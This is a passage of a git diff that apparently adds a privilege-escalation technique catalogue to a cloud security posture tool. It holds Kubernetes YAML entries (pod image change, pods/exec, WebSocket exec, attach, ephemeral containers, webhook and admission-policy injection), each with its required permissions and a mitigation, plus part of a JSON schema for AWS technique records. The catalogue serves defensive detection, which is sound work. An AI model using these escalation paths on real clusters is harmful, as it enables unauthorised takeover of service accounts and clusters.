namespace: "{target.namespace}"} + - - {verb: patch, resource: replicasets, api_group: apps, namespace: "{target.namespace}"} + - - {verb: update, resource: replicasets, api_group: apps, namespace: "{target.namespace}"} + - - {verb: patch, resource: replicationcontrollers, namespace: "{target.namespace}"} + - - {verb: update, resource: replicationcontrollers, namespace: "{target.namespace}"} + - - {verb: patch, resource: cronjobs, api_group: batch, namespace: "{target.namespace}"} + - - {verb: update, resource: cronjobs, api_group: batch, namespace: "{target.namespace}"} + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + scope: same_namespace + aggregate_as: "All ServiceAccounts in {target.namespace}" + conditions: + - id: controller_object_exists + description: An existing controller object covered by the grant (resourceNames) must exist in the namespace. + - id: admission_restricts_service_account + description: Admission policies may restrict serviceAccountName or images of the resulting pods. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: high + mitigation: Limit controller update/patch to CI/CD identities and scope with resourceNames; protect controllers that run privileged ServiceAccounts. + references: + - https://kubernetes.io/docs/concepts/security/rbac-good-practices/#workload-creation + notes: serviceAccountName in a pod template is mutable, so any SA of the namespace is reachable. The HackTricks lab shows patch-only grants are sufficient (update without get may fail client-side). Job pod templates are immutable after creation, so jobs update/patch is not included; CronJob templates are mutable. + +- id: k8s-workloads-pods-modify-running + provider: k8s + service: workloads + title: Change the container image of an existing pod + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/README.md#high-permissions + source_revision: 171e422 + summary: The source can obtain the privileges of the ServiceAccounts used by existing pods in the namespace by replacing a container image of those pods. + requires: + all_of: [] + any_of: + - - {verb: patch, resource: pods, namespace: "{target.namespace}"} + - - {verb: update, resource: pods, namespace: "{target.namespace}"} + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + k8s_pod_access_path: modify_image + scope: same_namespace + aggregate_as: "ServiceAccounts of running pods in {target.namespace}" + conditions: + - id: admission_restricts_images + description: Image policy admission may reject the image change. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: conditional + severity: high + mitigation: Do not grant pods update/patch to non-controller identities. + references: + - https://kubernetes.io/docs/concepts/workloads/pods/#pod-update-and-replacement + notes: Pod spec is mostly immutable but container image is mutable, while serviceAccountName is not; hence only SAs already used by pods are reachable (unlike pods create). Verified against Kubernetes pod update rules. + +- id: k8s-workloads-pods-exec + provider: k8s + service: workloads + title: Execute commands in existing pods + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#pods-exec + source_revision: 2415fadfbd + summary: The source can obtain the privileges of the ServiceAccounts mounted in pods it can exec into. + requires: + all_of: + - verb: create + resource: pods + subresource: exec + namespace: "{target.namespace}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + k8s_pod_access_path: exec + scope: same_namespace + aggregate_as: "ServiceAccounts of running pods in {target.namespace}" + conditions: + - id: token_mounted_in_pod + description: The pod must mount a ServiceAccount token (automount not disabled) and contain an executable entrypoint usable for exec. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict pods/exec to break-glass operators, especially in namespaces with privileged workloads. + references: + - https://kubernetes.io/docs/concepts/security/rbac-good-practices/#workload-creation + notes: Executing in a privileged/host pod also reaches the node (see nodes.yaml). + +- id: k8s-workloads-pods-exec-get-websocket + provider: k8s + service: workloads + title: Execute commands in pods with only get on pods/exec (WebSocket upgrade) + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#pod-interactive-subresources + source_revision: 2415fadfbd + summary: On clusters older than 1.35 the source can obtain the privileges of ServiceAccounts mounted in pods by exec over WebSocket with only get on pods/exec. + requires: + all_of: + - verb: get + resource: pods + subresource: exec + namespace: "{target.namespace}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + k8s_pod_access_path: exec_get_websocket + k8s_websocket_exec_get_usable: true + scope: same_namespace + aggregate_as: "ServiceAccounts of running pods in {target.namespace}" + conditions: + - id: websocket_upgrade_create_check_disabled + description: The collected server version is checked. On v1.35 or later, a kube-apiserver pod with an explicit disabled AuthorizePodWebsocketUpgradeCreatePermission gate is conditional; otherwise the gate state remains unresolved. + - id: token_mounted_in_pod + description: The pod must mount a ServiceAccount token. + blockers: [] + confidence: conditional + severity: high + mitigation: Upgrade to Kubernetes 1.35+ (or keep AuthorizePodWebsocketUpgradeCreatePermission enabled) and avoid granting get on pods/* subresources. + references: + - https://github.com/kubernetes/kubernetes/issues/78741 + notes: Verified via upstream issue 78741 and the v1.35 release notes that WebSocket exec previously required only get; since v1.35 create is required by default. + +- id: k8s-workloads-pods-attach + provider: k8s + service: workloads + title: Attach to the process streams of existing pods + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#pod-interactive-subresources + source_revision: 2415fadfbd + summary: The source can obtain the privileges of ServiceAccounts mounted in pods whose main process accepts interactive input. + requires: + all_of: + - verb: create + resource: pods + subresource: attach + namespace: "{target.namespace}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + k8s_pod_access_path: attach + scope: same_namespace + aggregate_as: "ServiceAccounts of interactive running pods in {target.namespace}" + conditions: + - id: container_stdin_interactive + description: The target container must have stdin enabled and run a process (e.g. a shell or REPL) that executes attacker input; most containers do not. + blockers: [] + confidence: conditional + severity: medium + mitigation: Restrict pods/attach like pods/exec; avoid stdin/tty in production containers. + references: + - https://kubernetes.io/docs/reference/kubectl/generated/kubectl_attach/ + notes: The pod inventory includes container stdin and status. A Running pod with a running stdin-enabled container is required; whether the process accepts commands remains conditional. + +- id: k8s-workloads-pods-ephemeralcontainers + provider: k8s + service: workloads + title: Add an ephemeral container to existing pods + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#ephemeralcontainers + source_revision: 2415fadfbd + summary: The source can obtain the privileges of the ServiceAccounts used by existing pods in the namespace by adding an ephemeral container that shares their volumes. + requires: + all_of: [] + any_of: + - - {verb: patch, resource: pods, subresource: ephemeralcontainers, namespace: "{target.namespace}"} + - - {verb: update, resource: pods, subresource: ephemeralcontainers, namespace: "{target.namespace}"} + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + k8s_pod_access_path: ephemeral_container + scope: same_namespace + aggregate_as: "ServiceAccounts of running pods in {target.namespace}" + conditions: + - id: admission_restricts_ephemeral + description: Admission policies covering ephemeral containers may reject them; PSA also evaluates ephemeral containers. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: conditional + severity: high + mitigation: Grant pods/ephemeralcontainers only to debugging break-glass roles. + references: + - https://kubernetes.io/docs/concepts/workloads/pods/ephemeral-containers/ + notes: An ephemeral container can mount the pod's existing volumes, including the projected ServiceAccount token volume. Privileged ephemeral containers reaching the node are modelled in nodes.yaml. + +- id: k8s-workloads-mutating-webhook-injection + provider: k8s + service: admission + title: Register or modify a mutating admission webhook + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md#validatingwebhookconfigurations-or-mutatingwebhookconfigurations + source_revision: 171e422 + summary: The source can obtain the privileges of ServiceAccounts in any namespace where pods are created after the webhook is in place, by mutating those pods. + requires: + all_of: [] + any_of: + - - {verb: create, resource: mutatingwebhookconfigurations, api_group: admissionregistration.k8s.io, namespace: "*"} + - - {verb: patch, resource: mutatingwebhookconfigurations, api_group: admissionregistration.k8s.io, namespace: "*"} + - - {verb: update, resource: mutatingwebhookconfigurations, api_group: admissionregistration.k8s.io, namespace: "*"} + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "*" + scope: cluster + aggregate_as: "ServiceAccounts of namespaces with new pod creations in {cluster}" + conditions: + - id: webhook_backend_controlled + description: The source needs an HTTPS endpoint it controls that the API server can reach (external URL or an in-cluster Service it can deploy) and a CA it controls in the configuration. + - id: new_pod_creation_occurs + description: Only pods created or updated after registration are mutated; namespaces with no pod churn are reached only after a restart or rollout. + blockers: [] + confidence: conditional + severity: critical + mitigation: Restrict writes to mutatingwebhookconfigurations to cluster administrators and alert on new or changed webhook registrations. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/ + notes: A mutating webhook can change serviceAccountName, add containers or make pods privileged, so the reachable set is all SAs in the matched namespaces (and nodes, through privileged injection). Webhooks are never called for admission configuration objects themselves. + +- id: k8s-workloads-mutating-admission-policy-injection + provider: k8s + service: admission + title: Create or modify a MutatingAdmissionPolicy and its binding + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#mutatingadmissionpolicy-code-injection + source_revision: 171e422 + summary: The source can obtain the privileges of ServiceAccounts in any namespace where pods are created after the policy is in place, by mutating those pods in-process. + requires: + all_of: + - {verb: create, resource: mutatingadmissionpolicies, api_group: admissionregistration.k8s.io, namespace: "*"} + - {verb: create, resource: mutatingadmissionpolicybindings, api_group: admissionregistration.k8s.io, namespace: "*"} + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "*" + k8s_mutating_admission_policy_served: true + scope: cluster + aggregate_as: "ServiceAccounts of namespaces with new pod creations in {cluster}" + conditions: + - id: mutating_admission_policy_served + description: Both MutatingAdmissionPolicy resources must be advertised by the API server; the collector verifies this from API discovery. + - id: new_pod_creation_occurs + description: Only pods created after the change are mutated. + blockers: [] + confidence: conditional + severity: critical + mitigation: Restrict writes to mutatingadmissionpolicies and their bindings to cluster administrators. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/ + notes: No external backend is needed (CEL runs in the API server). HackTricks reproduced injection of an init container into later pods. Existing-policy or existing-binding modification paths are excluded until the policy-to-binding match is evaluated from inventoried objects. diff --git a/src/privilege-escalation-paths-cspm-reviewed/privesc-technique.schema.json b/src/privilege-escalation-paths-cspm-reviewed/privesc-technique.schema.json new file mode 100644 index 0000000000..99c669d956 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/privesc-technique.schema.json @@ -0,0 +1,4926 @@ +{ + "$defs": { + "aws_conjunction": { + "items": { + "$ref": "#/$defs/aws_item" + }, + "minItems": 1, + "type": "array" + }, + "aws_group": { + "additionalProperties": false, + "minProperties": 1, + "oneOf": [ + { + "required": [ + "all_of" + ] + }, + { + "required": [ + "any_of" + ] + } + ], + "properties": { + "all_of": { + "$ref": "#/$defs/aws_conjunction" + }, + "any_of": { + "items": { + "anyOf": [ + { + "$ref": "#/$defs/aws_item" + }, + { + "$ref": "#/$defs/aws_conjunction" + } + ] + }, + "minItems": 1, + "type": "array" + }, + "notes": { + "type": "string" + } + }, + "type": "object" + }, + "aws_item": { + "anyOf": [ + { + "$ref": "#/$defs/aws_requirement" + }, + { + "$ref": "#/$defs/aws_group" + } + ] + }, + "aws_requirement": { + "additionalProperties": false, + "properties": { + "action": { + "description": "Concrete IAM action 'service:Action' (no wildcards).", + "pattern": "^[A-Za-z0-9-]+:[A-Za-z0-9]+$", + "type": "string" + }, + "bind": { + "description": "Requirements with the same bind name must hold on ONE common resource the source picks.", + "pattern": "^[a-z][a-z0-9_]{0,40}$", + "type": "string" + }, + "notes": { + "type": "string" + }, + "request_context": { + "additionalProperties": { + "anyOf": [ + { + "type": "string" + }, + { + "description": "The requester picks one value.", + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + }, + { + "additionalProperties": false, + "properties": { + "absent": { + "const": true + } + }, + "required": [ + "absent" + ], + "type": "object" + }, + { + "additionalProperties": false, + "properties": { + "chosen": { + "const": true + } + }, + "required": [ + "chosen" + ], + "type": "object" + }, + { + "additionalProperties": false, + "properties": { + "admin_managed_policy": { + "const": true + } + }, + "required": [ + "admin_managed_policy" + ], + "type": "object" + }, + { + "additionalProperties": false, + "properties": { + "source_principal": { + "const": true + } + }, + "required": [ + "source_principal" + ], + "type": "object" + }, + { + "additionalProperties": false, + "properties": { + "values": { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + }, + "required": [ + "values" + ], + "type": "object" + } + ] + }, + "description": "Condition-key values carried by the technique's own request.", + "minProperties": 1, + "propertyNames": { + "pattern": "^[A-Za-z0-9-]+:[A-Za-z0-9_./*-]+$" + }, + "type": "object" + }, + "resource": { + "description": "Resource ARN / pattern / placeholder the action must cover ('*' = any).", + "type": "string" + } + }, + "required": [ + "action" + ], + "type": "object" + }, + "aws_technique": { + "properties": { + "id": { + "pattern": "^aws-[a-z0-9]+(-[a-z0-9]+)*$" + }, + "preconditions": { + "items": { + "anyOf": [ + { + "enum": [ + "agentcore_existing_code_interpreter_role_ready", + "agentcore_existing_runtime_update_and_invoke", + "agentcore_new_harness_generated_scope_and_role_ready", + "agentcore_new_interpreter_broad_name_and_role_ready", + "agentcore_new_runtime_generated_scope_and_role_ready", + "amplify_compute_role_ssr_effect_unverified", + "amplify_service_role_build_effect_unverified", + "amplifybackend_create_token_backend_scope", + "apprunner_existing_customer_account", + "apprunner_existing_image_service_update", + "apprunner_existing_instance_role_update", + "apprunner_mutable_ecr_autodeploy_instance_role", + "appstream_existing_app_block_builder_role_session", + "appstream_existing_app_block_builder_role_swap", + "appstream_existing_fleet_role_session", + "appstream_existing_fleet_role_swap", + "appstream_existing_image_builder_role_session", + "appstream_new_app_block_builder_with_role", + "appstream_new_fleet_with_role", + "appstream_new_image_builder_with_role", + "appsync_new_api_global_setup", + "assumable_role_allows_account_admin", + "athena_existing_notebook_url_role", + "athena_existing_session_calculation_role", + "athena_existing_spark_connect_role", + "autoscaling_created_launch_input_role_effect_reviewed", + "batch_existing_definition_submitjob_role", + "batch_new_job_and_ec2_queue_authorized", + "bedrock_agent_actiongroup_lambda_execution_unverified", + "braket_createjob_device_authorized", + "cloudcontrol_source_can_create_admin_user", + "cloudformation_attached_role_changeset_executable", + "cloudformation_attached_role_stack_updatable", + "cloudformation_existing_stack_updatable_with_role", + "cloudformation_extension_package_and_invocation", + "cloudformation_new_changeset_with_role", + "cloudformation_new_stack_with_role", + "cloudformation_service_managed_stackset_targetable", + "cloudfront_edge_distribution_and_service_roles", + "codebuild_existing_project_buildspec_override", + "codebuild_existing_project_role_and_build", + "codebuild_existing_project_update_buildspec", + "codebuild_new_project_role_and_build", + "codebuild_running_sandbox_command", + "codebuild_running_sandbox_connection", + "codebuild_ssm_debug_session_role_effect_reviewed", + "codepipeline_existing_project_update_buildspec", + "codepipeline_new_codecommit_project_route", + "codepipeline_new_ecr_project_route", + "codepipeline_new_s3_project_route", + "config_automatic_remediation_effect_unverified", + "created_org_access_role_assumable", + "datapipeline_existing_customer_role_pair_and_runnable_ec2", + "deadline_existing_queue_role_vend", + "deadline_existing_worker_role_vend", + "deadline_fleet_worker_binding_unverified", + "deadline_fleet_worker_bounded_authority_reviewed", + "deadline_new_worker_role_vend", + "deadline_passrole_queue_role_vend", + "devicefarm_existing_project_new_web_test_role", + "devicefarm_existing_test_spec_role_effect_reviewed", + "ec2_instance_connect_same_running_role_host", + "ec2_instance_running", + "ec2_runinstances_instance_role_effect_reviewed", + "ec2_runinstances_launch_with_passed_profile_unverified", + "ec2_spot_fleet_instance_role_effect_reviewed", + "ec2_spot_fleet_roles_ready", + "ec2_spot_request_instance_role_effect_reviewed", + "ec2_userdata_restart_execution_reviewed", + "ecs_container_instance_exists", + "ecs_exec_live_task_role", + "ecs_existing_task_override_runnable_with_role", + "ecs_external_service_taskset_ready", + "ecs_new_task_definition_eventbridge_schedule_ready", + "ecs_new_task_definition_runtask_ready", + "ecs_new_task_definition_service_ready", + "ecs_new_task_definition_starttask_ready", + "ecs_privileged_task_exact_host_ready", + "ecs_task_definition_exists", + "eks_cluster_exists", + "eks_existing_self_access_entry_can_receive_cluster_admin", + "eks_new_self_access_entry_can_receive_cluster_admin", + "elasticbeanstalk_environment_role_effect_reviewed", + "elasticbeanstalk_environment_role_execution_unverified", + "emr_cluster_endpoint_role_effect_unverified", + "emr_cluster_session_runtime_role", + "emr_containers_endpoint_route", + "emr_containers_job_route", + "emr_containers_pod_identity_job_route", + "emr_existing_cluster_runtime_step_role", + "emr_existing_cluster_step_instance_role", + "emr_new_cluster_instance_role_effect_reviewed", + "emr_new_cluster_role_execution_unverified", + "emr_serverless_job_route", + "eventbridge_subscriber_has_active_bus_and_bound_permissions", + "flink_existing_streaming_inline_code_update", + "flink_existing_studio_role_session", + "flink_new_application_startable", + "gamelift_existing_shared_fleet_role_shell", + "gamelift_new_controlled_build_fleet_role", + "gameliftstreams_controlled_application_role_session", + "gameliftstreams_live_role_session_admin_shell", + "glue_existing_dev_endpoint_ssh_access", + "glue_existing_job_has_runnable_trigger", + "glue_existing_job_script_object_writable_and_runnable", + "glue_existing_session_ready_for_statement", + "glue_job_override_arguments_available", + "glue_job_role_and_execution_bind", + "glue_new_public_dev_endpoint_role", + "glue_new_session_with_statement", + "grafana_api_key_workspace_eligible", + "grafana_existing_admin_service_account_token_ready", + "grafana_saml_workspace_active", + "grafana_service_account_workspace_eligible", + "group_adds_policy_to_source", + "iam_new_role_cross_account_trust", + "iam_role_boundary_admin_gain", + "iam_user_access_key_capacity", + "iam_user_boundary_admin_gain", + "imagebuilder_component_publish_and_pipeline_start", + "iot_existing_alias_new_policy_certificate_same_region", + "iot_new_alias_policy_certificate_same_region", + "kafkaconnect_plugin_execution_unverified", + "lambda_enforced_zip_function_signing_bypass_and_invoke", + "lambda_enforcing_code_signing", + "lambda_existing_sqs_queue_function_and_role", + "lambda_existing_zip_function_direct_invoke_ready", + "lambda_existing_zip_function_role_swap_ready", + "lambda_microvm_shell_runnable_image_and_role", + "lambda_new_dynamodb_stream_function_and_role", + "lambda_policy_rewrite_zip_code_and_invoke_ready", + "lambda_signer_trusted_profile_artifact_unverified", + "m2_existing_environment_new_application_deploy", + "mfa_enrollment_credential_ready", + "mfa_removal_password_ready", + "mgh_automation_unit_home_region_target_and_run", + "migrationhub_orchestrator_bound_workflow_script_and_managed_target", + "mwaa_existing_dag_object_execution_role", + "mwaa_existing_environment_update_with_dag_code", + "mwaa_serverless_new_workflow_definition_and_start", + "quicksight_existing_iam_user_self_admin", + "quicksight_subscribed", + "role_trust_rewrite_assumable", + "rolesanywhere_anchor_profile_trust_join", + "rolesanywhere_new_anchor_profile_role_ready", + "sagemaker_attach_new_notebook_lifecycle_config", + "sagemaker_attached_notebook_lifecycle_update", + "sagemaker_domain_default_new_profile_route", + "sagemaker_existing_profile_role_swap_route", + "sagemaker_hpo_script_mode_route", + "sagemaker_hyperpod_custom_ami_group_role_effect", + "sagemaker_job_execution_route_unverified", + "sagemaker_new_notebook_creation_and_url_authorized", + "sagemaker_new_profile_app_route", + "sagemaker_notebook_instance_accessible", + "sagemaker_processing_inline_entrypoint_route", + "sagemaker_studio_profile_iam_domain_ready", + "sagemaker_studio_profile_lcc_route", + "sagemaker_studio_shared_space_lcc_route", + "sagemaker_training_inline_entrypoint_route", + "service_specific_credential_ready", + "servicecatalog_new_artifact_effect_unverified", + "sfn_existing_state_machine_update_and_start", + "sfn_role_sdk_effect_reviewed", + "source_attached_admin_policy_version_exists", + "source_attached_policy_version_capacity", + "source_boundary_allows_account_admin", + "source_in_org_management_account", + "spot_request_with_passed_profile_and_role_ready", + "ssm_existing_automation_runtime_role_effect_reviewed", + "ssm_hybrid_sendcommand_role", + "ssm_hybrid_startsession_role", + "ssm_incident_response_plan_runs_new_automation_document", + "ssm_jit_approved_online_instance", + "ssm_maintenance_window_automation_task_ready", + "ssm_maintenance_window_run_command_target", + "ssm_managed_instance", + "ssm_new_automation_document_executable", + "ssm_shell_association_targets", + "ssm_shell_document_on_online_instance", + "ssm_shell_session_on_online_instance", + "stepfunctions_teststate_privileged_task_unverified", + "synthetics_existing_canary_dry_run_code", + "target_codecommit_git_permission", + "target_console_login_without_mfa", + "target_in_other_account", + "target_ssh_public_key_capacity", + "workspaces_instances_bound_launch_role_effect" + ] + }, + { + "additionalProperties": false, + "properties": { + "description": { + "type": "string" + }, + "id": { + "enum": [ + "agentcore_existing_code_interpreter_role_ready", + "agentcore_existing_runtime_update_and_invoke", + "agentcore_new_harness_generated_scope_and_role_ready", + "agentcore_new_interpreter_broad_name_and_role_ready", + "agentcore_new_runtime_generated_scope_and_role_ready", + "amplify_compute_role_ssr_effect_unverified", + "amplify_service_role_build_effect_unverified", + "amplifybackend_create_token_backend_scope", + "apprunner_existing_customer_account", + "apprunner_existing_image_service_update", + "apprunner_existing_instance_role_update", + "apprunner_mutable_ecr_autodeploy_instance_role", + "appstream_existing_app_block_builder_role_session", + "appstream_existing_app_block_builder_role_swap", + "appstream_existing_fleet_role_session", + "appstream_existing_fleet_role_swap", + "appstream_existing_image_builder_role_session", + "appstream_new_app_block_builder_with_role", + "appstream_new_fleet_with_role", + "appstream_new_image_builder_with_role", + "appsync_new_api_global_setup", + "assumable_role_allows_account_admin", + "athena_existing_notebook_url_role", + "athena_existing_session_calculation_role", + "athena_existing_spark_connect_role", + "autoscaling_created_launch_input_role_effect_reviewed", + "batch_existing_definition_submitjob_role", + "batch_new_job_and_ec2_queue_authorized", + "bedrock_agent_actiongroup_lambda_execution_unverified", + "braket_createjob_device_authorized", + "cloudcontrol_source_can_create_admin_user", + "cloudformation_attached_role_changeset_executable", + "cloudformation_attached_role_stack_updatable", + "cloudformation_existing_stack_updatable_with_role", + "cloudformation_extension_package_and_invocation", + "cloudformation_new_changeset_with_role", + "cloudformation_new_stack_with_role", + "cloudformation_service_managed_stackset_targetable", + "cloudfront_edge_distribution_and_service_roles", + "codebuild_existing_project_buildspec_override", + "codebuild_existing_project_role_and_build", + "codebuild_existing_project_update_buildspec", + "codebuild_new_project_role_and_build", + "codebuild_running_sandbox_command", + "codebuild_running_sandbox_connection", + "codebuild_ssm_debug_session_role_effect_reviewed", + "codepipeline_existing_project_update_buildspec", + "codepipeline_new_codecommit_project_route", + "codepipeline_new_ecr_project_route", + "codepipeline_new_s3_project_route", + "config_automatic_remediation_effect_unverified", + "created_org_access_role_assumable", + "datapipeline_existing_customer_role_pair_and_runnable_ec2", + "deadline_existing_queue_role_vend", + "deadline_existing_worker_role_vend", + "deadline_fleet_worker_binding_unverified", + "deadline_fleet_worker_bounded_authority_reviewed", + "deadline_new_worker_role_vend", + "deadline_passrole_queue_role_vend", + "devicefarm_existing_project_new_web_test_role", + "devicefarm_existing_test_spec_role_effect_reviewed", + "ec2_instance_connect_same_running_role_host", + "ec2_instance_running", + "ec2_runinstances_instance_role_effect_reviewed", + "ec2_runinstances_launch_with_passed_profile_unverified", + "ec2_spot_fleet_instance_role_effect_reviewed", + "ec2_spot_fleet_roles_ready", + "ec2_spot_request_instance_role_effect_reviewed", + "ec2_userdata_restart_execution_reviewed", + "ecs_container_instance_exists", + "ecs_exec_live_task_role", + "ecs_existing_task_override_runnable_with_role", + "ecs_external_service_taskset_ready", + "ecs_new_task_definition_eventbridge_schedule_ready", + "ecs_new_task_definition_runtask_ready", + "ecs_new_task_definition_service_ready", + "ecs_new_task_definition_starttask_ready", + "ecs_privileged_task_exact_host_ready", + "ecs_task_definition_exists", + "eks_cluster_exists", + "eks_existing_self_access_entry_can_receive_cluster_admin", + "eks_new_self_access_entry_can_receive_cluster_admin", + "elasticbeanstalk_environment_role_effect_reviewed", + "elasticbeanstalk_environment_role_execution_unverified", + "emr_cluster_endpoint_role_effect_unverified", + "emr_cluster_session_runtime_role", + "emr_containers_endpoint_route", + "emr_containers_job_route", + "emr_containers_pod_identity_job_route", + "emr_existing_cluster_runtime_step_role", + "emr_existing_cluster_step_instance_role", + "emr_new_cluster_instance_role_effect_reviewed", + "emr_new_cluster_role_execution_unverified", + "emr_serverless_job_route", + "eventbridge_subscriber_has_active_bus_and_bound_permissions", + "flink_existing_streaming_inline_code_update", + "flink_existing_studio_role_session", + "flink_new_application_startable", + "gamelift_existing_shared_fleet_role_shell", + "gamelift_new_controlled_build_fleet_role", + "gameliftstreams_controlled_application_role_session", + "gameliftstreams_live_role_session_admin_shell", + "glue_existing_dev_endpoint_ssh_access", + "glue_existing_job_has_runnable_trigger", + "glue_existing_job_script_object_writable_and_runnable", + "glue_existing_session_ready_for_statement", + "glue_job_override_arguments_available", + "glue_job_role_and_execution_bind", + "glue_new_public_dev_endpoint_role", + "glue_new_session_with_statement", + "grafana_api_key_workspace_eligible", + "grafana_existing_admin_service_account_token_ready", + "grafana_saml_workspace_active", + "grafana_service_account_workspace_eligible", + "group_adds_policy_to_source", + "iam_new_role_cross_account_trust", + "iam_role_boundary_admin_gain", + "iam_user_access_key_capacity", + "iam_user_boundary_admin_gain", + "imagebuilder_component_publish_and_pipeline_start", + "iot_existing_alias_new_policy_certificate_same_region", + "iot_new_alias_policy_certificate_same_region", + "kafkaconnect_plugin_execution_unverified", + "lambda_enforced_zip_function_signing_bypass_and_invoke", + "lambda_enforcing_code_signing", + "lambda_existing_sqs_queue_function_and_role", + "lambda_existing_zip_function_direct_invoke_ready", + "lambda_existing_zip_function_role_swap_ready", + "lambda_microvm_shell_runnable_image_and_role", + "lambda_new_dynamodb_stream_function_and_role", + "lambda_policy_rewrite_zip_code_and_invoke_ready", + "lambda_signer_trusted_profile_artifact_unverified", + "m2_existing_environment_new_application_deploy", + "mfa_enrollment_credential_ready", + "mfa_removal_password_ready", + "mgh_automation_unit_home_region_target_and_run", + "migrationhub_orchestrator_bound_workflow_script_and_managed_target", + "mwaa_existing_dag_object_execution_role", + "mwaa_existing_environment_update_with_dag_code", + "mwaa_serverless_new_workflow_definition_and_start", + "quicksight_existing_iam_user_self_admin", + "quicksight_subscribed", + "role_trust_rewrite_assumable", + "rolesanywhere_anchor_profile_trust_join", + "rolesanywhere_new_anchor_profile_role_ready", + "sagemaker_attach_new_notebook_lifecycle_config", + "sagemaker_attached_notebook_lifecycle_update", + "sagemaker_domain_default_new_profile_route", + "sagemaker_existing_profile_role_swap_route", + "sagemaker_hpo_script_mode_route", + "sagemaker_hyperpod_custom_ami_group_role_effect", + "sagemaker_job_execution_route_unverified", + "sagemaker_new_notebook_creation_and_url_authorized", + "sagemaker_new_profile_app_route", + "sagemaker_notebook_instance_accessible", + "sagemaker_processing_inline_entrypoint_route", + "sagemaker_studio_profile_iam_domain_ready", + "sagemaker_studio_profile_lcc_route", + "sagemaker_studio_shared_space_lcc_route", + "sagemaker_training_inline_entrypoint_route", + "service_specific_credential_ready", + "servicecatalog_new_artifact_effect_unverified", + "sfn_existing_state_machine_update_and_start", + "sfn_role_sdk_effect_reviewed", + "source_attached_admin_policy_version_exists", + "source_attached_policy_version_capacity", + "source_boundary_allows_account_admin", + "source_in_org_management_account", + "spot_request_with_passed_profile_and_role_ready", + "ssm_existing_automation_runtime_role_effect_reviewed", + "ssm_hybrid_sendcommand_role", + "ssm_hybrid_startsession_role", + "ssm_incident_response_plan_runs_new_automation_document", + "ssm_jit_approved_online_instance", + "ssm_maintenance_window_automation_task_ready", + "ssm_maintenance_window_run_command_target", + "ssm_managed_instance", + "ssm_new_automation_document_executable", + "ssm_shell_association_targets", + "ssm_shell_document_on_online_instance", + "ssm_shell_session_on_online_instance", + "stepfunctions_teststate_privileged_task_unverified", + "synthetics_existing_canary_dry_run_code", + "target_codecommit_git_permission", + "target_console_login_without_mfa", + "target_in_other_account", + "target_ssh_public_key_capacity", + "workspaces_instances_bound_launch_role_effect" + ] + } + }, + "required": [ + "id" + ], + "type": "object" + } + ] + }, + "type": "array" + }, + "requires": { + "additionalProperties": false, + "properties": { + "all_of": { + "items": { + "$ref": "#/$defs/aws_item" + }, + "type": "array" + }, + "any_of": { + "description": "Alternative groups: at least one group must fully hold (with all_of).", + "items": { + "$ref": "#/$defs/aws_conjunction" + }, + "type": "array" + } + }, + "type": "object" + }, + "source_kind": { + "anyOf": [ + { + "enum": [ + "aws_challenge_foothold", + "aws_group", + "aws_identity_center_user", + "aws_role", + "aws_user" + ] + }, + { + "items": { + "enum": [ + "aws_challenge_foothold", + "aws_group", + "aws_identity_center_user", + "aws_role", + "aws_user" + ] + }, + "minItems": 1, + "type": "array" + } + ] + }, + "source_selector": { + "additionalProperties": false, + "properties": { + "include_service_managed": { + "description": "Allow service-managed identities (AWS service-linked roles, Google-managed agents, Microsoft first-party service principals) as sources; they are skipped by default because customers cannot act as them.", + "type": "boolean" + }, + "source_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): the source principal id matches one of the case-insensitive globs." + }, + "source_reaches_kind": { + "description": "Generic (evaluator, graph post-pass): the source is of that target kind or reaches a node of that kind through the other techniques' edges (fixpoint); the edge takes the weakest confidence of the best chain and the condition source_reaches__via_chain.", + "enum": [ + "aws_account_admin", + "aws_challenge_foothold", + "aws_directory_domain_admin", + "aws_group", + "aws_identity_center_permission_set", + "aws_identity_center_user", + "aws_role", + "aws_service_plane_admin", + "aws_user", + "aws_verified_authority", + "azure_challenge_foothold", + "azure_dataplane_admin", + "azure_external_principal", + "azure_managed_identity", + "azure_scope_owner", + "azure_service_principal", + "azure_storage_local_user", + "azure_user", + "azure_verified_authority", + "cloud_identity", + "entra_group", + "entra_role", + "gcp_challenge_foothold", + "gcp_external_principal", + "gcp_group", + "gcp_scope_owner", + "gcp_service_account", + "gcp_user", + "gcp_verified_authority", + "gcp_workspace_user", + "k8s_admission_control", + "k8s_cluster_admin", + "k8s_group", + "k8s_node", + "k8s_remote_cluster", + "k8s_service_account", + "k8s_user", + "k8s_verified_authority" + ] + } + }, + "type": "object" + }, + "target": { + "properties": { + "kind": { + "enum": [ + "aws_account_admin", + "aws_challenge_foothold", + "aws_directory_domain_admin", + "aws_group", + "aws_identity_center_permission_set", + "aws_identity_center_user", + "aws_role", + 